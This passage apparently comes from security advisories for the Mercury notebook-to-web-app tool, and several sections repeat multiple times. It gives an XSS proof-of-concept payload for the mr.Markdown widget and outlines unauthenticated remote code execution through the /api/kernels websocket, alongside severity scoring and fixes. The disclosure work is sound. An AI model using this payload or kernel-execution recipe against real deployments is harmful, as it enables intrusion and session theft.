The attacker supplies the untrusted value (posts the comment, uploads the file, poisons the API/RAG source). A different user — another app user, a reviewer, an admin — then opens the app, and the payload executes in their browser. The vulnerable component (Mercury's server-side widget rendering) and the impacted component (the victim's browser session in the app origin) differ, which is the classic stored-XSS attacker/victim separation.

Amplifier — session sharing (--keep-session). Mercury can serve one shared kernel session to all viewers (mercury run … --keep-session, README "Arguments": "share the same session between multiple users … others will see this"). It is opt-in and defaults to off (keepSession=False in mercury_app/handlers.py), so it is not required for the base case — any app that renders one user's untrusted data to another user is already vulnerable. When enabled, content one viewer submits is rendered into the session other viewers see, extending this to cross-user delivery. Authentication is opt-in and off by default: a free password gate exists (mercury run … --pass=…, README), while user-based authentication is a paid add-on. Because auth is off unless the operator enables it, unauthenticated public deployments — where the attacker needs no account — are a realistic default.

Proof of Concept

import mercury as mr

# Value that would realistically arrive from untrusted data (DB row, form field,
# uploaded file, API/LLM response):
untrusted = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'

mr.Markdown(untrusted)   # rendered to raw HTML, unsanitized, into the app DOM

The generated widget HTML contains the payload verbatim; when the widget is displayed, the onerror handler runs.

What was confirmed (and how)

• Confirmed by execution in a real browser (sink level): driving the actual python-markdown output into the same ipywidgets.HTML value sink the widget uses causes the payload to execute in headless Chromium. Execution was captured via Playwright's dialog event (which fires only on a genuine alert(), so the mere presence of the string in the HTML cannot cause a false positive). A benign control (**hello**) produced zero dialogs, confirming the harness reports only real execution. python-markdown passes <img src=x onerror=…> through verbatim by default (behavior is not version-specific).
• Reasoned from source (not executed end-to-end): the full path from a mr.Markdown(...) call in a served Mercury app to a viewer's DOM was not run end-to-end, because no isolated container/VM was available in the reporting environment. Because MarkdownWidget is the ipywidgets.HTML sink above and Mercury's frontend applies no sanitizer to widget HTML values (the only frontend sanitizer strips notebook metadata at save time), the served-app path is expected to behave identically. Reproduce end-to-end before publishing if you want the advisory to state full-path browser confirmation.

Impact

Mercury shares notebooks as web apps/dashboards, often for non-technical audiences. When an app renders untrusted data through mr.Markdown, the generated page carries attacker-controlled script that runs in the browser of any other viewer, in the app origin — enabling session/cookie/token theft, UI spoofing and forced actions as the victim, and pivoting within the hosting origin. With --keep-session, this extends to cross-user delivery within a shared session.

Severity rationale (CVSS 3.1 per-metric)

Base score reflects the realistic default: an unauthenticated deployment whose app renders untrusted data via mr.Markdown.

| Metric | Value | Reason | |---|---|---| | AV Attack Vector | Network (N) | App is served over HTTP to remote users. | | AC Attack Complexity | Low (L) | No special conditions or race; supply data that reaches an mr.Markdown call. | | PR Privileges Required | None (N) | Baseline: the injection channel (public form/upload/API) needs no account; auth is optional/paid. See variant below. | | UI User Interaction | Required (R) | A victim must open/view the app page for the stored payload to run. | | S Scope | Changed (C) | The vulnerable component (server-side widget render) injects script that executes in a different security authority — the victim's browser session/origin. (This is the canonical XSS scoping in the CVSS 3.1 spec.) | | C Confidentiality | Low (L) | Script can read data/session material available to the app origin; scored L (not H) for a generic app without asserting full account takeover. | | I Integrity | Low (L) | Script can alter the page and act as the victim within the app; scored L generically. | | A Availability | None (N) | No direct availability impact. |

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium).

Deployment-dependent variants (state your environment's when filing):

• Injection channel requires an authenticated low-privilege user → PR:L → …/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4.
• App origin exposes high-value auth material such that XSS yields full session/account takeover → C:H/I:H raises the score; justify per deployment rather than claiming it universally.

Remediation

Primary — sanitize by default in mr.Markdown, with an explicit opt-out for the deliberate raw-HTML use case (backward-compatible, non-breaking):

# mercury/md.py
def _to_html(self, text: str, unsafe_allow_html: bool = False) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)
    else:
        body = f"<pre>{escape(text)}</pre>"
    if not unsafe_allow_html:
        # allowlist tags/attributes; strip javascript:/data: schemes and event handlers
        body = nh3.clean(body)            # or bleach.clean(..., strip=True)
    return self._apply_inline_theme(body)

Expose unsafe_allow_html=False on mr.Markdown(...) so authors who deliberately embed trusted raw HTML can opt in, while the default is safe. This mirrors the convention used by comparable tools (e.g. Streamlit's unsafe_allow_html).

Defense-in-depth: since widget HTML values are written via innerHTML without sanitization, consider sanitizing widget HTML values at the frontend before they reach the DOM, and/or serving a Content-Security-Policy that forbids inline event handlers, so a single missed sink is not immediately exploitable.

Additional hardening (secondary — not the reported vulnerability)

Several widget ESMs write the label with innerHTML, e.g. mercury/text.py topLabel.innerHTML = model.get("label") || … (same shape in number.py, time.py, date/datetime/daterange/select/json/file, and indicator.py's _card_html). This is not an attacker→victim XSS path: labels are static strings set by the app author in Python; URL/url_params overrides affect only widget value (assigned via the safe input.value property), never label, so there is no end-user/URL route into a label. It is a defense-in-depth / author footgun only. Recommended regardless: render UI strings with textContent, or html.escape labels, so output encoding is applied uniformly.

Summary

Mercury turns Jupyter notebooks into shared web apps/dashboards. The mr.Markdown widget converts its input to HTML with python-markdown and no sanitization step. MarkdownWidget is an ipywidgets.HTML widget, whose value is written to the page as raw HTML (via innerHTML) with no sanitization, so the result reaches the DOM verbatim. When an app passes untrusted data (database rows, user submissions, uploaded file contents, or an external/LLM API response) to mr.Markdown, HTML/JS in that data executes in the browser of whoever views the app — a data-driven stored/DOM-based XSS.

This is a library-provided rendering sink that fails to neutralize output; it is triggered by ordinary, reasonable application code, not by an author mistake.

Root cause

mercury/md.py — MarkdownWidget._to_html() (verified at v3.2.6, lines ~57–65):

def _to_html(self, text: str) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)          # python-markdown: passes raw HTML through
    else:
        body = f"<pre>{escape(text)}</pre>"   # escape() is ONLY the md-lib-absent fallback
    return self._apply_inline_theme(body)     # regex styling — adds style=, removes nothing

Two neutralization failures compound:

1. Markdown → HTML is unsanitized. python-markdown passes raw HTML through by default: <img src=x onerror=…>, <svg onload=…>, and javascript: links survive verbatim. There is no bleach/nh3 allowlist anywhere in the package. _apply_inline_theme() only injects inline style= attributes via regex; it is not a sanitizer and removes nothing. escape() runs only in the md-lib-absent fallback.

2. The rendering sink is unsanitized innerHTML. MarkdownWidget (mercury/md.py:21) subclasses ipywidgets.HTML. The ipywidgets HTML widget renders its value into the DOM as raw HTML via innerHTML, with no sanitization (this is the widget's design). Event-handler payloads such as <img src=x onerror=…> therefore execute when the widget is displayed.

On the "sanitize" that exists: mercury_app/notebook_sanitize.py (sanitize_notebook_for_mercury_runtime) and packages/lab/src/mercury/save.ts (sanitizeMercuryNotebookContent) strip runtime metadata and clear code-cell saved outputs. They do not neutralize HTML/JS, and they do not touch widget values or markdown source. "Sanitize" here is notebook hygiene, not XSS defense.

Threat model (attacker → victim, not self-inflicted)

The CVE-relevant framing is data-driven: the app author writes ordinary code, and the data is attacker-controlled.

import mercury as mr
# `row` comes from a DB / user submission / uploaded file / external API —
# i.e. NOT authored by the app developer:
mr.Markdown(row["comment"])

The attacker supplies the untrusted value (posts the comment, uploads the file, poisons the API/RAG source). A different user — another app user, a reviewer, an admin — then opens the app, and the payload executes in their browser. The vulnerable component (Mercury's server-side widget rendering) and the impacted component (the victim's browser session in the app origin) differ, which is the classic stored-XSS attacker/victim separation.

Amplifier — session sharing (--keep-session). Mercury can serve one shared kernel session to all viewers (mercury run … --keep-session, README "Arguments": "share the same session between multiple users … others will see this"). It is opt-in and defaults to off (keepSession=False in mercury_app/handlers.py), so it is not required for the base case — any app that renders one user's untrusted data to another user is already vulnerable. When enabled, content one viewer submits is rendered into the session other viewers see, extending this to cross-user delivery. Authentication is opt-in and off by default: a free password gate exists (mercury run … --pass=…, README), while user-based authentication is a paid add-on. Because auth is off unless the operator enables it, unauthenticated public deployments — where the attacker needs no account — are a realistic default.

Proof of Concept

import mercury as mr

# Value that would realistically arrive from untrusted data (DB row, form field,
# uploaded file, API/LLM response):
untrusted = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'

mr.Markdown(untrusted)   # rendered to raw HTML, unsanitized, into the app DOM

The generated widget HTML contains the payload verbatim; when the widget is displayed, the onerror handler runs.

What was confirmed (and how)

• Confirmed by execution in a real browser (sink level): driving the actual python-markdown output into the same ipywidgets.HTML value sink the widget uses causes the payload to execute in headless Chromium. Execution was captured via Playwright's dialog event (which fires only on a genuine alert(), so the mere presence of the string in the HTML cannot cause a false positive). A benign control (**hello**) produced zero dialogs, confirming the harness reports only real execution. python-markdown passes <img src=x onerror=…> through verbatim by default (behavior is not version-specific).
• Reasoned from source (not executed end-to-end): the full path from a mr.Markdown(...) call in a served Mercury app to a viewer's DOM was not run end-to-end, because no isolated container/VM was available in the reporting environment. Because MarkdownWidget is the ipywidgets.HTML sink above and Mercury's frontend applies no sanitizer to widget HTML values (the only frontend sanitizer strips notebook metadata at save time), the served-app path is expected to behave identically. Reproduce end-to-end before publishing if you want the advisory to state full-path browser confirmation.

Impact

Mercury shares notebooks as web apps/dashboards, often for non-technical audiences. When an app renders untrusted data through mr.Markdown, the generated page carries attacker-controlled script that runs in the browser of any other viewer, in the app origin — enabling session/cookie/token theft, UI spoofing and forced actions as the victim, and pivoting within the hosting origin. With --keep-session, this extends to cross-user delivery within a shared session.

Severity rationale (CVSS 3.1 per-metric)

Base score reflects the realistic default: an unauthenticated deployment whose app renders untrusted data via mr.Markdown.

| Metric | Value | Reason | |---|---|---| | AV Attack Vector | Network (N) | App is served over HTTP to remote users. | | AC Attack Complexity | Low (L) | No special conditions or race; supply data that reaches an mr.Markdown call. | | PR Privileges Required | None (N) | Baseline: the injection channel (public form/upload/API) needs no account; auth is optional/paid. See variant below. | | UI User Interaction | Required (R) | A victim must open/view the app page for the stored payload to run. | | S Scope | Changed (C) | The vulnerable component (server-side widget render) injects script that executes in a different security authority — the victim's browser session/origin. (This is the canonical XSS scoping in the CVSS 3.1 spec.) | | C Confidentiality | Low (L) | Script can read data/session material available to the app origin; scored L (not H) for a generic app without asserting full account takeover. | | I Integrity | Low (L) | Script can alter the page and act as the victim within the app; scored L generically. | | A Availability | None (N) | No direct availability impact. |

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium).

Deployment-dependent variants (state your environment's when filing):

• Injection channel requires an authenticated low-privilege user → PR:L → …/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4.
• App origin exposes high-value auth material such that XSS yields full session/account takeover → C:H/I:H raises the score; justify per deployment rather than claiming it universally.

Remediation

Primary — sanitize by default in mr.Markdown, with an explicit opt-out for the deliberate raw-HTML use case (backward-compatible, non-breaking):

# mercury/md.py
def _to_html(self, text: str, unsafe_allow_html: bool = False) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)
    else:
        body = f"<pre>{escape(text)}</pre>"
    if not unsafe_allow_html:
        # allowlist tags/attributes; strip javascript:/data: schemes and event handlers
        body = nh3.clean(body)            # or bleach.clean(..., strip=True)
    return self._apply_inline_theme(body)

Expose unsafe_allow_html=False on mr.Markdown(...) so authors who deliberately embed trusted raw HTML can opt in, while the default is safe. This mirrors the convention used by comparable tools (e.g. Streamlit's unsafe_allow_html).

Defense-in-depth: since widget HTML values are written via innerHTML without sanitization, consider sanitizing widget HTML values at the frontend before they reach the DOM, and/or serving a Content-Security-Policy that forbids inline event handlers, so a single missed sink is not immediately exploitable.

Additional hardening (secondary — not the reported vulnerability)

Several widget ESMs write the label with innerHTML, e.g. mercury/text.py topLabel.innerHTML = model.get("label") || … (same shape in number.py, time.py, date/datetime/daterange/select/json/file, and indicator.py's _card_html). This is not an attacker→victim XSS path: labels are static strings set by the app author in Python; URL/url_params overrides affect only widget value (assigned via the safe input.value property), never label, so there is no end-user/URL route into a label. It is a defense-in-depth / author footgun only. Recommended regardless: render UI strings with textContent, or html.escape labels, so output encoding is applied uniformly.

Mercury runs a JupyterLab server with anonymous access by default (mercury_app/__main__.py sets --IdentityProvider.token='' when no --token/MERCURY_TOKEN is given; when tokenless it also sets --ServerApp.disable_check_xsrf=True). It relies on a blocklist (mercury_app/block_handler.py BLOCKED_PATTERNS: /lab, /api/terminals, /api/shutdown, /files) to keep anonymous users off dangerous Jupyter endpoints.

The vulnerability

/api/kernels is NOT in the blocklist (and cannot be — Mercury needs kernels to run notebooks), and patch_kernel_websocket_handler() (mercury_app/idle_timeout.py) only tracks the idle-timeout: it wraps on_message to call self.application._timeout_manager.touch() and then invokes the original handler with no filtering of execute_request. So any unauthenticated network client can:

POST /api/kernels {"name":"python3"}        -> 201, returns kernel id
open websocket /api/kernels/<id>/channels
send an execute_request with arbitrary code -> arbitrary Python execution = RCE

Distinct from GHSA-f8c7-rwf9-fmgm (incomplete fix)

GHSA-f8c7 was "Unauthenticated RCE via /api/terminals" — a missing-comma blocklist bypass. Its fix (add the comma so /api/terminals is blocked) does NOT address /api/kernels, which remains exploitable. The blocklist approach is fundamentally unable to cover kernels, so this is not a variant that another blocklist entry fixes.

Runtime-proven (on the patched version)

On mercury 3.2.4 — the release that fixed GHSA-f8c7 — with the default (tokenless) config, as an unauthenticated client: POST /api/terminals returns 403 (the f8c7 fix is present), but POST /api/kernels returns 201; opening the kernel websocket and sending an execute_request executed attacker-supplied Python (ran whoami as the server process user and wrote a marker file /tmp/PWNED_MERCURY_RCE). Full unauthenticated remote code execution. Deterministic PoC (client script + notebook) included.

Impact

Unauthenticated, network-reachable arbitrary code execution as the Mercury server process user on every default deployment — complete compromise of the host/container and any data/secrets it can reach.

Fix

The blocklist cannot secure an anonymous kernel-backed server. Require real per-request authentication (a token or password) by default, or restrict the kernel message channel so anonymous websocket clients cannot issue execute_request outside Mercury's own controlled execution flow.

Dedup (3-method)

OSV.dev CLEAN(0) for mercury and mljar-mercury; the repo's only advisory (GHSA-f8c7-rwf9-fmgm) covers /api/terminals only (description does not mention kernels); no issue/PR describes the /api/kernels RCE (#219/#134/#262 are "add auth" feature requests that merely confirm anonymous-by-default). Sink independently confirmed on current HEAD (blocklist omits /api/kernels; token='' default; patch_kernel_websocket_handler does no execute filtering).

Finder: Abdullah Kareem (GitHub: CyberKareem).

Summary

Mercury turns Jupyter notebooks into shared web apps/dashboards. The mr.Markdown widget converts its input to HTML with python-markdown and no sanitization step. MarkdownWidget is an ipywidgets.HTML widget, whose value is written to the page as raw HTML (via innerHTML) with no sanitization, so the result reaches the DOM verbatim. When an app passes untrusted data (database rows, user submissions, uploaded file contents, or an external/LLM API response) to mr.Markdown, HTML/JS in that data executes in the browser of whoever views the app — a data-driven stored/DOM-based XSS.

This is a library-provided rendering sink that fails to neutralize output; it is triggered by ordinary, reasonable application code, not by an author mistake.

Root cause

mercury/md.py — MarkdownWidget._to_html() (verified at v3.2.6, lines ~57–65):

def _to_html(self, text: str) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)          # python-markdown: passes raw HTML through
    else:
        body = f"<pre>{escape(text)}</pre>"   # escape() is ONLY the md-lib-absent fallback
    return self._apply_inline_theme(body)     # regex styling — adds style=, removes nothing

Two neutralization failures compound:

1. Markdown → HTML is unsanitized. python-markdown passes raw HTML through by default: <img src=x onerror=…>, <svg onload=…>, and javascript: links survive verbatim. There is no bleach/nh3 allowlist anywhere in the package. _apply_inline_theme() only injects inline style= attributes via regex; it is not a sanitizer and removes nothing. escape() runs only in the md-lib-absent fallback.

2. The rendering sink is unsanitized innerHTML. MarkdownWidget (mercury/md.py:21) subclasses ipywidgets.HTML. The ipywidgets HTML widget renders its value into the DOM as raw HTML via innerHTML, with no sanitization (this is the widget's design). Event-handler payloads such as <img src=x onerror=…> therefore execute when the widget is displayed.

On the "sanitize" that exists: mercury_app/notebook_sanitize.py (sanitize_notebook_for_mercury_runtime) and packages/lab/src/mercury/save.ts (sanitizeMercuryNotebookContent) strip runtime metadata and clear code-cell saved outputs. They do not neutralize HTML/JS, and they do not touch widget values or markdown source. "Sanitize" here is notebook hygiene, not XSS defense.

Threat model (attacker → victim, not self-inflicted)

The CVE-relevant framing is data-driven: the app author writes ordinary code, and the data is attacker-controlled.

import mercury as mr
# `row` comes from a DB / user submission / uploaded file / external API —
# i.e. NOT authored by the app developer:
mr.Markdown(row["comment"])

The attacker supplies the untrusted value (posts the comment, uploads the file, poisons the API/RAG source). A different user — another app user, a reviewer, an admin — then opens the app, and the payload executes in their browser. The vulnerable component (Mercury's server-side widget rendering) and the impacted component (the victim's browser session in the app origin) differ, which is the classic stored-XSS attacker/victim separation.

Amplifier — session sharing (--keep-session). Mercury can serve one shared kernel session to all viewers (mercury run … --keep-session, README "Arguments": "share the same session between multiple users … others will see this"). It is opt-in and defaults to off (keepSession=False in mercury_app/handlers.py), so it is not required for the base case — any app that renders one user's untrusted data to another user is already vulnerable. When enabled, content one viewer submits is rendered into the session other viewers see, extending this to cross-user delivery. Authentication is opt-in and off by default: a free password gate exists (mercury run … --pass=…, README), while user-based authentication is a paid add-on. Because auth is off unless the operator enables it, unauthenticated public deployments — where the attacker needs no account — are a realistic default.

Proof of Concept

import mercury as mr

# Value that would realistically arrive from untrusted data (DB row, form field,
# uploaded file, API/LLM response):
untrusted = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'

mr.Markdown(untrusted)   # rendered to raw HTML, unsanitized, into the app DOM

The generated widget HTML contains the payload verbatim; when the widget is displayed, the onerror handler runs.

What was confirmed (and how)

• Confirmed by execution in a real browser (sink level): driving the actual python-markdown output into the same ipywidgets.HTML value sink the widget uses causes the payload to execute in headless Chromium. Execution was captured via Playwright's dialog event (which fires only on a genuine alert(), so the mere presence of the string in the HTML cannot cause a false positive). A benign control (**hello**) produced zero dialogs, confirming the harness reports only real execution. python-markdown passes <img src=x onerror=…> through verbatim by default (behavior is not version-specific).
• Reasoned from source (not executed end-to-end): the full path from a mr.Markdown(...) call in a served Mercury app to a viewer's DOM was not run end-to-end, because no isolated container/VM was available in the reporting environment. Because MarkdownWidget is the ipywidgets.HTML sink above and Mercury's frontend applies no sanitizer to widget HTML values (the only frontend sanitizer strips notebook metadata at save time), the served-app path is expected to behave identically. Reproduce end-to-end before publishing if you want the advisory to state full-path browser confirmation.

Impact

Mercury shares notebooks as web apps/dashboards, often for non-technical audiences. When an app renders untrusted data through mr.Markdown, the generated page carries attacker-controlled script that runs in the browser of any other viewer, in the app origin — enabling session/cookie/token theft, UI spoofing and forced actions as the victim, and pivoting within the hosting origin. With --keep-session, this extends to cross-user delivery within a shared session.

Severity rationale (CVSS 3.1 per-metric)

Base score reflects the realistic default: an unauthenticated deployment whose app renders untrusted data via mr.Markdown.

| Metric | Value | Reason | |---|---|---| | AV Attack Vector | Network (N) | App is served over HTTP to remote users. | | AC Attack Complexity | Low (L) | No special conditions or race; supply data that reaches an mr.Markdown call. | | PR Privileges Required | None (N) | Baseline: the injection channel (public form/upload/API) needs no account; auth is optional/paid. See variant below. | | UI User Interaction | Required (R) | A victim must open/view the app page for the stored payload to run. | | S Scope | Changed (C) | The vulnerable component (server-side widget render) injects script that executes in a different security authority — the victim's browser session/origin. (This is the canonical XSS scoping in the CVSS 3.1 spec.) | | C Confidentiality | Low (L) | Script can read data/session material available to the app origin; scored L (not H) for a generic app without asserting full account takeover. | | I Integrity | Low (L) | Script can alter the page and act as the victim within the app; scored L generically. | | A Availability | None (N) | No direct availability impact. |

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium).

Deployment-dependent variants (state your environment's when filing):

• Injection channel requires an authenticated low-privilege user → PR:L → …/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4.
• App origin exposes high-value auth material such that XSS yields full session/account takeover → C:H/I:H raises the score; justify per deployment rather than claiming it universally.

Remediation

Primary — sanitize by default in mr.Markdown, with an explicit opt-out for the deliberate raw-HTML use case (backward-compatible, non-breaking):

# mercury/md.py
def _to_html(self, text: str, unsafe_allow_html: bool = False) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)
    else:
        body = f"<pre>{escape(text)}</pre>"
    if not unsafe_allow_html:
        # allowlist tags/attributes; strip javascript:/data: schemes and event handlers
        body = nh3.clean(body)            # or bleach.clean(..., strip=True)
    return self._apply_inline_theme(body)

Expose unsafe_allow_html=False on mr.Markdown(...) so authors who deliberately embed trusted raw HTML can opt in, while the default is safe. This mirrors the convention used by comparable tools (e.g. Streamlit's unsafe_allow_html).

Defense-in-depth: since widget HTML values are written via innerHTML without sanitization, consider sanitizing widget HTML values at the frontend before they reach the DOM, and/or serving a Content-Security-Policy that forbids inline event handlers, so a single missed sink is not immediately exploitable.

Additional hardening (secondary — not the reported vulnerability)

Several widget ESMs write the label with innerHTML, e.g. mercury/text.py topLabel.innerHTML = model.get("label") || … (same shape in number.py, time.py, date/datetime/daterange/select/json/file, and indicator.py's _card_html). This is not an attacker→victim XSS path: labels are static strings set by the app author in Python; URL/url_params overrides affect only widget value (assigned via the safe input.value property), never label, so there is no end-user/URL route into a label. It is a defense-in-depth / author footgun only. Recommended regardless: render UI strings with textContent, or html.escape labels, so output encoding is applied uniformly.

Mercury runs a JupyterLab server with anonymous access by default (mercury_app/__main__.py sets --IdentityProvider.token='' when no --token/MERCURY_TOKEN is given; when tokenless it also sets --ServerApp.disable_check_xsrf=True). It relies on a blocklist (mercury_app/block_handler.py BLOCKED_PATTERNS: /lab, /api/terminals, /api/shutdown, /files) to keep anonymous users off dangerous Jupyter endpoints.

The vulnerability

/api/kernels is NOT in the blocklist (and cannot be — Mercury needs kernels to run notebooks), and patch_kernel_websocket_handler() (mercury_app/idle_timeout.py) only tracks the idle-timeout: it wraps on_message to call self.application._timeout_manager.touch() and then invokes the original handler with no filtering of execute_request. So any unauthenticated network client can:

POST /api/kernels {"name":"python3"}        -> 201, returns kernel id
open websocket /api/kernels/<id>/channels
send an execute_request with arbitrary code -> arbitrary Python execution = RCE

Distinct from GHSA-f8c7-rwf9-fmgm (incomplete fix)

GHSA-f8c7 was "Unauthenticated RCE via /api/terminals" — a missing-comma blocklist bypass. Its fix (add the comma so /api/terminals is blocked) does NOT address /api/kernels, which remains exploitable. The blocklist approach is fundamentally unable to cover kernels, so this is not a variant that another blocklist entry fixes.

Runtime-proven (on the patched version)

On mercury 3.2.4 — the release that fixed GHSA-f8c7 — with the default (tokenless) config, as an unauthenticated client: POST /api/terminals returns 403 (the f8c7 fix is present), but POST /api/kernels returns 201; opening the kernel websocket and sending an execute_request executed attacker-supplied Python (ran whoami as the server process user and wrote a marker file /tmp/PWNED_MERCURY_RCE). Full unauthenticated remote code execution. Deterministic PoC (client script + notebook) included.

Impact

Unauthenticated, network-reachable arbitrary code execution as the Mercury server process user on every default deployment — complete compromise of the host/container and any data/secrets it can reach.

Fix

The blocklist cannot secure an anonymous kernel-backed server. Require real per-request authentication (a token or password) by default, or restrict the kernel message channel so anonymous websocket clients cannot issue execute_request outside Mercury's own controlled execution flow.

Dedup (3-method)

OSV.dev CLEAN(0) for mercury and mljar-mercury; the repo's only advisory (GHSA-f8c7-rwf9-fmgm) covers /api/terminals only (description does not mention kernels); no issue/PR describes the /api/kernels RCE (#219/#134/#262 are "add auth" feature requests that merely confirm anonymous-by-default). Sink independently confirmed on current HEAD (blocklist omits /api/kernels; token='' default; patch_kernel_websocket_handler does no execute filtering).

Finder: Abdullah Kareem (GitHub: CyberKareem).

Summary

Mercury turns Jupyter notebooks into shared web apps/dashboards. The mr.Markdown widget converts its input to HTML with python-markdown and no sanitization step. MarkdownWidget is an ipywidgets.HTML widget, whose value is written to the page as raw HTML (via innerHTML) with no sanitization, so the result reaches the DOM verbatim. When an app passes untrusted data (database rows, user submissions, uploaded file contents, or an external/LLM API response) to mr.Markdown, HTML/JS in that data executes in the browser of whoever views the app — a data-driven stored/DOM-based XSS.

This is a library-provided rendering sink that fails to neutralize output; it is triggered by ordinary, reasonable application code, not by an author mistake.

Root cause

mercury/md.py — MarkdownWidget._to_html() (verified at v3.2.6, lines ~57–65):

def _to_html(self, text: str) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)          # python-markdown: passes raw HTML through
    else:
        body = f"<pre>{escape(text)}</pre>"   # escape() is ONLY the md-lib-absent fallback
    return self._apply_inline_theme(body)     # regex styling — adds style=, removes nothing

Two neutralization failures compound:

1. Markdown → HTML is unsanitized. python-markdown passes raw HTML through by default: <img src=x onerror=…>, <svg onload=…>, and javascript: links survive verbatim. There is no bleach/nh3 allowlist anywhere in the package. _apply_inline_theme() only injects inline style= attributes via regex; it is not a sanitizer and removes nothing. escape() runs only in the md-lib-absent fallback.

2. The rendering sink is unsanitized innerHTML. MarkdownWidget (mercury/md.py:21) subclasses ipywidgets.HTML. The ipywidgets HTML widget renders its value into the DOM as raw HTML via innerHTML, with no sanitization (this is the widget's design). Event-handler payloads such as <img src=x onerror=…> therefore execute when the widget is displayed.

On the "sanitize" that exists: mercury_app/notebook_sanitize.py (sanitize_notebook_for_mercury_runtime) and packages/lab/src/mercury/save.ts (sanitizeMercuryNotebookContent) strip runtime metadata and clear code-cell saved outputs. They do not neutralize HTML/JS, and they do not touch widget values or markdown source. "Sanitize" here is notebook hygiene, not XSS defense.

Threat model (attacker → victim, not self-inflicted)

The CVE-relevant framing is data-driven: the app author writes ordinary code, and the data is attacker-controlled.

import mercury as mr
# `row` comes from a DB / user submission / uploaded file / external API —
# i.e. NOT authored by the app developer:
mr.Markdown(row["comment"])

The attacker supplies the untrusted value (posts the comment, uploads the file, poisons the API/RAG source). A different user — another app user, a reviewer, an admin — then opens the app, and the payload executes in their browser. The vulnerable component (Mercury's server-side widget rendering) and the impacted component (the victim's browser session in the app origin) differ, which is the classic stored-XSS attacker/victim separation.

Amplifier — session sharing (--keep-session). Mercury can serve one shared kernel session to all viewers (mercury run … --keep-session, README "Arguments": "share the same session between multiple users … others will see this"). It is opt-in and defaults to off (keepSession=False in mercury_app/handlers.py), so it is not required for the base case — any app that renders one user's untrusted data to another user is already vulnerable. When enabled, content one viewer submits is rendered into the session other viewers see, extending this to cross-user delivery. Authentication is opt-in and off by default: a free password gate exists (mercury run … --pass=…, README), while user-based authentication is a paid add-on. Because auth is off unless the operator enables it, unauthenticated public deployments — where the attacker needs no account — are a realistic default.

Proof of Concept

import mercury as mr

# Value that would realistically arrive from untrusted data (DB row, form field,
# uploaded file, API/LLM response):
untrusted = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'

mr.Markdown(untrusted)   # rendered to raw HTML, unsanitized, into the app DOM

The generated widget HTML contains the payload verbatim; when the widget is displayed, the onerror handler runs.

What was confirmed (and how)

• Confirmed by execution in a real browser (sink level): driving the actual python-markdown output into the same ipywidgets.HTML value sink the widget uses causes the payload to execute in headless Chromium. Execution was captured via Playwright's dialog event (which fires only on a genuine alert(), so the mere presence of the string in the HTML cannot cause a false positive). A benign control (**hello**) produced zero dialogs, confirming the harness reports only real execution. python-markdown passes <img src=x onerror=…> through verbatim by default (behavior is not version-specific).
• Reasoned from source (not executed end-to-end): the full path from a mr.Markdown(...) call in a served Mercury app to a viewer's DOM was not run end-to-end, because no isolated container/VM was available in the reporting environment. Because MarkdownWidget is the ipywidgets.HTML sink above and Mercury's frontend applies no sanitizer to widget HTML values (the only frontend sanitizer strips notebook metadata at save time), the served-app path is expected to behave identically. Reproduce end-to-end before publishing if you want the advisory to state full-path browser confirmation.

Impact

Mercury shares notebooks as web apps/dashboards, often for non-technical audiences. When an app renders untrusted data through mr.Markdown, the generated page carries attacker-controlled script that runs in the browser of any other viewer, in the app origin — enabling session/cookie/token theft, UI spoofing and forced actions as the victim, and pivoting within the hosting origin. With --keep-session, this extends to cross-user delivery within a shared session.

Severity rationale (CVSS 3.1 per-metric)

Base score reflects the realistic default: an unauthenticated deployment whose app renders untrusted data via mr.Markdown.

| Metric | Value | Reason | |---|---|---| | AV Attack Vector | Network (N) | App is served over HTTP to remote users. | | AC Attack Complexity | Low (L) | No special conditions or race; supply data that reaches an mr.Markdown call. | | PR Privileges Required | None (N) | Baseline: the injection channel (public form/upload/API) needs no account; auth is optional/paid. See variant below. | | UI User Interaction | Required (R) | A victim must open/view the app page for the stored payload to run. | | S Scope | Changed (C) | The vulnerable component (server-side widget render) injects script that executes in a different security authority — the victim's browser session/origin. (This is the canonical XSS scoping in the CVSS 3.1 spec.) | | C Confidentiality | Low (L) | Script can read data/session material available to the app origin; scored L (not H) for a generic app without asserting full account takeover. | | I Integrity | Low (L) | Script can alter the page and act as the victim within the app; scored L generically. | | A Availability | None (N) | No direct availability impact. |

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium).

Deployment-dependent variants (state your environment's when filing):

• Injection channel requires an authenticated low-privilege user → PR:L → …/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4.
• App origin exposes high-value auth material such that XSS yields full session/account takeover → C:H/I:H raises the score; justify per deployment rather than claiming it universally.

Remediation

Primary — sanitize by default in mr.Markdown, with an explicit opt-out for the deliberate raw-HTML use case (backward-compatible, non-breaking):

# mercury/md.py
def _to_html(self, text: str, unsafe_allow_html: bool = False) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)
    else:
        body = f"<pre>{escape(text)}</pre>"
    if not unsafe_allow_html:
        # allowlist tags/attributes; strip javascript:/data: schemes and event handlers
        body = nh3.clean(body)            # or bleach.clean(..., strip=True)
    return self._apply_inline_theme(body)

Expose unsafe_allow_html=False on mr.Markdown(...) so authors who deliberately embed trusted raw HTML can opt in, while the default is safe. This mirrors the convention used by comparable tools (e.g. Streamlit's unsafe_allow_html).

Defense-in-depth: since widget HTML values are written via innerHTML without sanitization, consider sanitizing widget HTML values at the frontend before they reach the DOM, and/or serving a Content-Security-Policy that forbids inline event handlers, so a single missed sink is not immediately exploitable.

Additional hardening (secondary — not the reported vulnerability)

